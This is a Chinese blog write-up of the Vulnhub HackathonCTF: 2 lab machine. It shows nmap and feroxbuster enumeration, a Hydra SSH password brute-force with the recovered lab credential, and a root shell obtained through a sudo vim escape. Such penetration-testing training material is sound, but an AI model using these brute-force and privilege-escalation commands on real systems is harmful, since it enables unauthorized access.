Vulnhub: HackathonCTF: 2靶机

ctostm

于 2023-07-14 15:29:26 发布

阅读量136

点赞数

文章标签： web安全网络安全安全

本文链接：https://blog.youkuaiyun.com/qq_43884092/article/details/131724672

版权

文章描述了一次网络安全渗透测试的过程，包括使用KaliLinux进行NMAP端口扫描，发现FTP匿名登录及字典文件，通过目录爆破工具Feroxbuster枚举80端口，利用Hydra进行SSH密码爆破，成功获取登录凭证后，进一步通过sudo权限和vim命令提权至root。

摘要生成于 C知道，由 DeepSeek-R1 满血版支持，前往体验 >

kali：192.168.111.111

靶机：192.168.111.147

信息收集

端口扫描

nmap -A -sC -v -sV -T5 -p- --script=http-enum 192.168.111.147

ftp存在匿名登陆，其中存在字典文件

80端口目录爆破

feroxbuster -k -d 1 --url http://192.168.111.147 -w /opt/zidian/SecLists-2022.2/Discovery/Web-Content/directory-list-lowercase-2.3-big.txt -x php,bak,txt,html,sql,zip,phtml,sh,pcapng,pcap,conf -t 1 -e -C 404,500

查看happy的源码提示用户名：hackathonll

利用之前得到的字典爆破ssh，得到密码：Ti@gO

hydra -l hackathonll -P ./word.dir 192.168.111.147 -s 7223 ssh -t 64

提权

登录目标后查看sudo权限

提权方法：https://gtfobins.github.io/gtfobins/vim/#sudo

提升为root

sudo -u root vim -c ':!/bin/sh'